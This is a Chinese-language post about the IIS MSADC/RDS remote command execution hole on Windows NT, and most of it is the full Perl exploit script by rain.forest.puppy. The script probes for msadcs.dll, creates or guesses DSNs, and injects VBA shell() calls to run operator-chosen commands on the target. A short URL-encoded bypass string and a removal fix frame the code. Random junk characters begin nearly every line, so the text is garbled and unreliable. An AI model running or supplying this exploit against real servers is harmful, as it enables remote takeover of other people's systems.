IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
UdT&cG `W H[DQ 涉及程序：
JNh=fvO2i Microsoft NT server
^C!mCTL1N K*_-5 e 描述：
]e^R@w 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
:
@'fp N p/r~ n'g$ 详细：
{mNdL J 如果你没有时间读详细内容的话，就删除:
"XCU'_k= c:\Program Files\Common Files\System\Msadc\msadcs.dll
4\p$4Hs} 有关的安全问题就没有了。
\% }raI;Y@ vG Y!4@[ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
's)fO#
; ;<J
x. 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
t,Rye S/ 关于利用ODBC远程漏洞的描述，请参看:
5^\m`gS (~S<EUc$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _ 1sP.0 t &k1/Z*/ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
r)V Lf#3B http://www.microsoft.com/security/bulletins/MS99-025faq.asp XZ} de%U1 l;Q
>b]DZ 这里不再论述。
ylk{! X]qCS0GD' 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
_3|6ZO Vl< `|C> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:]'q#$! 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
d!o.ASL{ _*Pfp+if Q/p(#/y#b #将下面这段保存为txt文件，然后: "perl -x 文件名"
IWQ&6SDW$z 1Yud~[c #!perl
cn$5:%IK #
My. dD' C # MSADC/RDS 'usage' (aka exploit) script
C1 W>/?XC #
.>P~uZiX! # by rain.forest.puppy
!~ WZ_z #
C5Xof|#p| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
h%'
N h V # beta test and find errors!
qk&gA}qF sH%&+4!3 use Socket; use Getopt::Std;
]3}feU+ getopts("e:vd:h:XR", \%args);
#zxd;;p3 h0|[etaf print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
V{!lk]p}a z
OtkC3hY if (!defined $args{h} && !defined $args{R}) {
f3 !n$lj print qq~
_74UdD{^o Usage: msadc.pl -h <host> { -d <delay> -X -v }
m=H _?W; -h <host> = host you want to scan (ip or domain)
>)LAjwhBp -d <seconds> = delay between calls, default 1 second
u*hH } -X = dump Index Server path table, if available
d<#p %$A4 -v = verbose
zhX;6= X2 -e = external dictionary file for step 5
7{-@}j` W,Ty=:qm* Or a -R will resume a command session
_
\l
HI K 5{{:NR$ ~; exit;}
GA\2i0ow R b#/qkk/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
pw=F' Y@N
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Uj,g ]e 8e if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*6XRjq^# if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
EY~7oNfc`R $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!
tGiTzzp if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
8
}-7{ ABc BEv3 if (!defined $args{R}){ $ret = &has_msadc;
w,Q)@] _ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
k {a)gFH
O c}% es=@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ah (iE . "cmd /c ";
e8{^f] 5 $in=<STDIN>; chomp $in;
I0iY+@^5 $command="cmd /c " . $in ;
_lP4}9 p ;}D-:J-z_ if (defined $args{R}) {&load; exit;}
y:.?5KsPI !N1J@LT5h print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;|!MI'Af &try_btcustmr;
ugI#ZFjJWE UT4f (Xo print "\nStep 2: Trying to make our own DSN...";
P{cos& X| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
1aq2aLx zks# Ez Q print "\nStep 3: Trying known DSNs...";
;, rnk- &known_dsn;
N!L'W\H, Pu..NPl+ print "\nStep 4: Trying known .mdbs...";
ds]?;l" &known_mdb;
|<rfvsQ. T%kKVr if (defined $args{e}){
")E D)&e print "\nStep 5: Trying dictionary of DSN names...";
<GaT|Hhc= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
7/?DP wbx 9 ZGV%Tw print "Sorry Charley...maybe next time?\n";
aM$=| %9/ exit;
wWTQ6~Y%d ' 0RRFO ##############################################################################
Ff<) 4`J r 1G8]a gO sub sendraw { # ripped and modded from whisker
4 \ F P sleep($delay); # it's a DoS on the server! At least on mine...
|'<vrn my ($pstr)=@_;
< eQ[kM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
vU}: U)S die("Socket problems\n");
s`c?: if(connect(S,pack "SnA4x8",2,80,$target)){
j=W@P- select(S); $|=1;
C`0%C7 print $pstr; my @in=<S>;
Xhse~=qA select(STDOUT); close(S);
P>wZ~Hjk return @in;
# h N.=~ } else { die("Can't connect...\n"); }}
2:'lZQ BC({ EE~R) ##############################################################################
)[jy[[K( g/#~N~& sub make_header { # make the HTTP request
YBvd
q 1 my $msadc=<<EOT
~KRnr0 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
q 5p e~ User-Agent: ACTIVEDATA
E0YU[([G Host: $ip
eu9w|g Content-Length: $clen
X`1p'JD Connection: Keep-Alive
Q>=-ext}q *H" aOT^{ ADCClientVersion:01.06
fK_~l GY( Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
;Iq5|rzDn 6m+W#]^ --!ADM!ROX!YOUR!WORLD!
[))JX"a Content-Type: application/x-varg
_2OuskL Content-Length: $reqlen
W 2 < 3C K /| EOT
H) 5Qq Z8 ; $msadc=~s/\n/\r\n/g;
tpo> 1| return $msadc;}
F7T E|LZ ]fE3s{y
&- ##############################################################################
KO&:06V{ l.oBcg[ sub make_req { # make the RDS request
-B 9S}NPo my ($switch, $p1, $p2)=@_;
6m[9b*s7 my $req=""; my $t1, $t2, $query, $dsn;
oLS7`+b$ a#y{pT2 b if ($switch==1){ # this is the btcustmr.mdb query
dB3N%pB ^ $query="Select * from Customers where City=" . make_shell();
%S`ik!K"I $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~z iexZ=N $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
E >}q2 JZ=5Bpw elsif ($switch==2){ # this is general make table query
{ma;G[! $query="create table AZZ (B int, C varchar(10))";
GV8)Kor% $dsn="$p1";}
kA^A mfba {|6z+vR elsif ($switch==3){ # this is general exploit table query
gz61FW $query="select * from AZZ where C=" . make_shell();
e$|VG*
d $dsn="$p1";}
o&$hYy"<.L fHfY}BQS elsif ($switch==4){ # attempt to hork file info from index server
y5u\j{?Te $query="select path from scope()";
|I ^y0Q:K $dsn="Provider=MSIDXS;";}
!SF^a6jT {mSJUK?TKl elsif ($switch==5){ # bad query
8lwM{? k$ $query="select";
dy :d=Z $dsn="$p1";}
_Adsq8sFW K-(;D4/sQE $t1= make_unicode($query);
d>!p=O`>{q $t2= make_unicode($dsn);
H$t b;: $req = "\x02\x00\x03\x00";
5v9uHxy $req.= "\x08\x00" . pack ("S1", length($t1));
N9]xJgTze $req.= "\x00\x00" . $t1 ;
4ht\&2&: $req.= "\x08\x00" . pack ("S1", length($t2));
uyT/Xzo3 $req.= "\x00\x00" . $t2 ;
/9_#U#vhY $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
2 B` 8eb return $req;}
+< KNY "}zda*z8 ##############################################################################
VAKy^nR5j xl 2g0? sub make_shell { # this makes the shell() statement
1;Xgc@ return "'|shell(\"$command\")|'";}
m r4b +(mL~td01 ##############################################################################
dJl^ADX[@ c7qwNs*f sub make_unicode { # quick little function to convert to unicode
[ H,u)8) my ($in)=@_; my $out;
!8$RB D % for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
}q'WC4. return $out;}
GuO`jz F =M<z8R ##############################################################################
zZ,Yfd |W &N\[V-GP2G sub rdo_success { # checks for RDO return success (this is kludge)
;+`uER my (@in) = @_; my $base=content_start(@in);
Q4wc-s4RN if($in[$base]=~/multipart\/mixed/){
uvB1VV4 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
,%hj cGX11 return 0;}
w^o }E)O :3? |VE F ##############################################################################
GBbh ar},g DB@EVH sub make_dsn { # this makes a DSN for us
]0/p 7N14 my @drives=("c","d","e","f");
]MAT2$"le print "\nMaking DSN: ";
I KcKRw/O$ foreach $drive (@drives) {
;fGx;D print "$drive: ";
(M`|'o! my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Ro r2qDF "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
LC-)'Z9}5 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
R0<< f] $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
U:|H9+5 return 0 if $2 eq "404"; # not found/doesn't exist
J&6:d if($2 eq "200") {
BXhWTGiG foreach $line (@results) {
s;{K!L@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
n+oDC65[ } return 0;}
<LA^%2jT (
v@jc8y ##############################################################################
>5Lexj n
)K6i7]xk sub verify_exists {
l2&hBacT my ($page)=@_;
&qRJceT( my @results=sendraw("GET $page HTTP/1.0\n\n");
~m`!;rE return $results[0];}
"l,UOv c =!,Gst_ ##############################################################################
O3%[dR j|K.i/ sub try_btcustmr {
&U &%ka<* my @drives=("c","d","e","f");
iZ; TYcT my @dirs=("winnt","winnt35","winnt351","win","windows");
@J vZ[T/ >V!LitdJ foreach $dir (@dirs) {
sR*Nq5F#9 print "$dir -> "; # fun status so you can see progress
D;js.ZF foreach $drive (@drives) {
Y\? j0X; print "$drive: "; # ditto
0ar= cuDm $reqlen=length( make_req(1,$drive,$dir) ) - 28;
|F!F{d^p $reqlenlen=length( "$reqlen" );
^l !L)iw $clen= 206 + $reqlenlen + $reqlen;
CV^c",b_ ]rW8y%yD my @results=sendraw(make_header() . make_req(1,$drive,$dir));
AS;.sjgk if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
/F~X,lm* ~ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
+R[4\ hC0Y J_xG}d ##############################################################################
#@Y/{[s|@ 2k1 aX~? sub odbc_error {
]d'^ Xs my (@in)=@_; my $base;
K/Y Agg my $base = content_start(@in);
BUC,M: J+H if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
z $6JpG $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
C6 @t $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
T[. [
g/` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QzthTX< return $in[$base+4].$in[$base+5].$in[$base+6];}
.>]N+: O print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
OVs wt print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
dZ2`{@AYY $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9 P"i uU Oif,|: ##############################################################################
Vxh.<b6&' :oa9#c`L sub verbose {
Y<LNQ]8\G my ($in)=@_;
h&'=F)5 return if !$verbose;
AcC8)xRpk4 print STDOUT "\n$in\n";}
O&$0&dhc #`/QOTnm2c ##############################################################################
`Q%NSU? 3jPB#%F sub save {
>oqZ !V5[ my ($p1, $p2, $p3, $p4)=@_;
|}S1o0v{(a open(OUT, ">rds.save") || print "Problem saving parameters...\n";
t26ij`V print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
;f%|3-q1[ close OUT;}
DQgH_! C LK^ gZ ##############################################################################
p4mY0Y]mP e4.&aIC[ sub load {
6
= gp :I my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Do;#NLrW b open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=nhzMU9c\y @p=<IN>; close(IN);
y1,5$0@G $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
U e*$&VlT $target= inet_aton($ip) || die("inet_aton problems");
{ ZqQ!!b print "Resuming to $ip ...";
&!1}`4$[T $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
;KcFy@ 6q5 if($p[1]==1) {
^:DyT@hQB5 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
N@1 p]\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
5(J^ N my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
o'Y#H
r)/ if (rdo_success(@results)){print "Success!\n";}
A1_ J sS else { print "failed\n"; verbose(odbc_error(@results));}}
Qpu3(`d< elsif ($p[1]==3){
"!q?P"
@C if(run_query("$p[3]")){
dlD}Ub print "Success!\n";} else { print "failed\n"; }}
:p-Y7CSSu elsif ($p[1]==4){
iJP{|-h if(run_query($drvst . "$p[3]")){
6k9Lx C:M print "Success!\n"; } else { print "failed\n"; }}
UqtHxEI%R~ exit;}
X8CVY0<o h4 vm{ho ##############################################################################
dVGbe07 #nEL~& sub create_table {
/77z\[CeYH my ($in)=@_;
#x~_`>mDN $reqlen=length( make_req(2,$in,"") ) - 28;
2k+16/T $reqlenlen=length( "$reqlen" );
-e*BqH2t $clen= 206 + $reqlenlen + $reqlen;
v2J0u:#, my @results=sendraw(make_header() . make_req(2,$in,""));
")M;+<c"l return 1 if rdo_success(@results);
;[Tyt[
my $temp= odbc_error(@results); verbose($temp);
_4R,Ej} return 1 if $temp=~/Table 'AZZ' already exists/;
{L9yhYw return 0;}
ZvH{wt
OoaY ##############################################################################
~ hm`uP sv=H~wce sub known_dsn {
qG9qN.|dC # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ma]?
)1<{ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
treXOC9^B8 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
cyMs(21 "banner", "banners", "ads", "ADCDemo", "ADCTest");
2
sSwDF d8:C3R foreach $dSn (@dsns) {
Gah lS*W print ".";
]^@0+! next if (!is_access("DSN=$dSn"));
e@j8T
gI) if(create_table("DSN=$dSn")){
#:{6b *} print "$dSn successful\n";
hTw}X.<4 if(run_query("DSN=$dSn")){
%dmfBf Ev print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Uu5C%9^s print "Something's borked. Use verbose next time\n";}}} print "\n";}
#F4X } |s| /]aD}o ##############################################################################
Gvn : c/m; =|0/ Ynfe sub is_access {
Taasi`
k my ($in)=@_;
Mi 74Xl i $reqlen=length( make_req(5,$in,"") ) - 28;
: `J>bHE $reqlenlen=length( "$reqlen" );
M=%!IT $clen= 206 + $reqlenlen + $reqlen;
oT->^4WY my @results=sendraw(make_header() . make_req(5,$in,""));
^saM$e^c: my $temp= odbc_error(@results);
\!w h[qEQ\ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
$l"MXx x5I return 0;}
vlQ0gsXK x,1=D~L} ##############################################################################
A&l7d0Z^j5 RVP 18ub.S sub run_query {
z!CD6W1n my ($in)=@_;
$L&BT 0 $reqlen=length( make_req(3,$in,"") ) - 28;
AbZ:(+@cP $reqlenlen=length( "$reqlen" );
XV5`QmB9 $clen= 206 + $reqlenlen + $reqlen;
U ;gp)=JNT my @results=sendraw(make_header() . make_req(3,$in,""));
U**)H_S/~ return 1 if rdo_success(@results);
Nza; O[ my $temp= odbc_error(@results); verbose($temp);
0yT Q{'Cc return 0;}
JS7dsO0; (C\r&N ##############################################################################
*?N<S$m <E}N=J'uJ sub known_mdb {
)ddsyFGW my @drives=("c","d","e","f","g");
C1 {ZW~"YI my @dirs=("winnt","winnt35","winnt351","win","windows");
xid:" y=_& my $dir, $drive, $mdb;
T} 8CfG_ j my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<gcmsiB| ][t 6VA # this is sparse, because I don't know of many
owM mC R my @sysmdbs=( "\\catroot\\icatalog.mdb",
oD,C<[(p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
\`gE u{ "\\system32\\certmdb.mdb",
iGa}3pF "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
s3< F .. UoyBV my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
M=+M8M`Iy "\\cfusion\\cfapps\\forums\\forums_.mdb",
7j T}{
x "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
hVZo"XUb "\\cfusion\\cfapps\\security\\realm_.mdb",
JUU&Z[6J "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ohplj`X[21 "\\cfusion\\database\\cfexamples.mdb",
z8tl0gd%D "\\cfusion\\database\\cfsnippets.mdb",
,'_( DJX "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0||F`24 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
b,Lw7MY}[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
kW(Kh0x "\\cfusion\\database\\smpolicy.mdb",
A'~#9@l < "\\cfusion\\database\cypress.mdb",
%M6
c0d[9- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
C8MWIX} "\\website\\cgi-win\\dbsample.mdb",
jGiw96,Y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
4:`[q E3 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
raHVkE{< ); #these are just
.C?GW1[c~@ foreach $drive (@drives) {
xgs@gw7!n0 foreach $dir (@dirs){
4k$0CbHx0 foreach $mdb (@sysmdbs) {
97]4
:Zv print ".";
Y?t2,cm if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
`EVg'?pl print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
H9E(\)@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
R8uj3!3^ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`WlH*p)z9 } else { print "Something's borked. Use verbose next time\n"; }}}}}
kF2Qv.5! j"6:A foreach $drive (@drives) {
>KHp-|0pv foreach $mdb (@mdbs) {
,-:a?#f> print ".";
qp@m&GH if(create_table($drv . $drive . $dir . $mdb)){
EW9b* r7./ print "\n" . $drive . $dir . $mdb . " successful\n";
g? I!OG if(run_query($drv . $drive . $dir . $mdb)){
?OO%5PSe n print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^Po,(iIn } else { print "Something's borked. Use verbose next time\n"; }}}}
-%=RFgU4 }
N"~ qoJO b- uZ"Kf^ ##############################################################################
:ln/`_ U1kh-8
: sub hork_idx {
+ Y;8~+ print "\nAttempting to dump Index Server tables...\n";
^(g_ .> print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
CPGL!: $reqlen=length( make_req(4,"","") ) - 28;
Z+,CL/ $reqlenlen=length( "$reqlen" );
gi 5XP]z $clen= 206 + $reqlenlen + $reqlen;
Iy.mVtcsZ my @results=sendraw2(make_header() . make_req(4,"",""));
^Rk^XQCh if (rdo_success(@results)){
% G VN4y & my $max=@results; my $c; my %d;
) H+d.Y for($c=19; $c<$max; $c++){
nj"m^PmWo3 $results[$c]=~s/\x00//g;
_j>L4bT $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h[, XemwX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Oc~VHT $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
H\d;QN9Q ; $d{"$1$2"}="";}
kw#X]`c3 foreach $c (keys %d){ print "$c\n"; }
AbG &9 =Ks } else {print "Index server doesn't seem to be installed.\n"; }}
D@*| 2 4y [tz
u ;/ ##############################################################################
u ]SZ{[ e 90(UgK&Y sub dsn_dict {
V:8@)Hc= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
/D8EI while(<IN>){
g<a<{| $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
j^{b^!4~} next if (!is_access("DSN=$dSn"));
L^x5&CCwk if(create_table("DSN=$dSn")){
FXxN>\76. print "$dSn successful\n";
UtPwWB_YV if(run_query("DSN=$dSn")){
SlT7L||Ww print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
;tX Y = print "Something's borked. Use verbose next time\n";}}}
;xI0\a7 print "\n"; close(IN);}
$i -zM a df yrn%^Ia ##############################################################################
# X fT1 Yq{jEatY{/ sub sendraw2 { # ripped and modded from whisker
CMFC"e S e sleep($delay); # it's a DoS on the server! At least on mine...
s4N,^_j my ($pstr)=@_;
xlk5Gob* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;8uHRc dQ die("Socket problems\n");
A`g.[7 if(connect(S,pack "SnA4x8",2,80,$target)){
]y}Zi/zh print "Connected. Getting data";
:k\} I k open(OUT,">raw.out"); my @in;
<oQ6 Z X select(S); $|=1; print $pstr;
!x6IV25 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Wy!uRzbBv close(OUT); select(STDOUT); close(S); return @in;
oLd: 3,p} } else { die("Can't connect...\n"); }}
X= SG 8M~u_`6 ##############################################################################
vU7&'ca EF eAr@nj sub content_start { # this will take in the server headers
T"IW Jpc my (@in)=@_; my $c;
88#N~j~P for ($c=1;$c<500;$c++) {
B9AbKK $` if($in[$c] =~/^\x0d\x0a/){
b70AJe= if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
vLr&ay!w else { return $c+1; }}}
- G FwFkWm return -1;} # it should never get here actually
l -XnB ZDfS0]0F ##############################################################################
[Zh2DNp k5 q(7&C sub funky {
]M uF9={ my (@in)=@_; my $error=odbc_error(@in);
K1<k+t/V if($error=~/ADO could not find the specified provider/){
JLml#Pu4 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
g4i #1V= exit;}
"7:u0 p! if($error=~/A Handler is required/){
KjC[q print "\nServer has custom handler filters (they most likely are patched)\n";
["<5?!bU exit;}
A_aO }oBX if($error=~/specified Handler has denied Access/){
fG3wc
l~ print "\nServer has custom handler filters (they most likely are patched)\n";
PMQb\%iE" exit;}}
~6] )*y (&k') ff9K ##############################################################################
.a5X*M] s* @QT8% sub has_msadc {
Nz}|%.GP" my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
w{~" ;[@ my $base=content_start(@results);
1 R*1BStc return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
QP'qG@j[: return 0;}
9OH.&g `..E Q BM ########################
d WMccn;-m 3Nc'3NPQ' e5QO B/e& 解决方案：
$x/J+9Ww 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
3Sk5I% 2、移除web 目录: /msadc
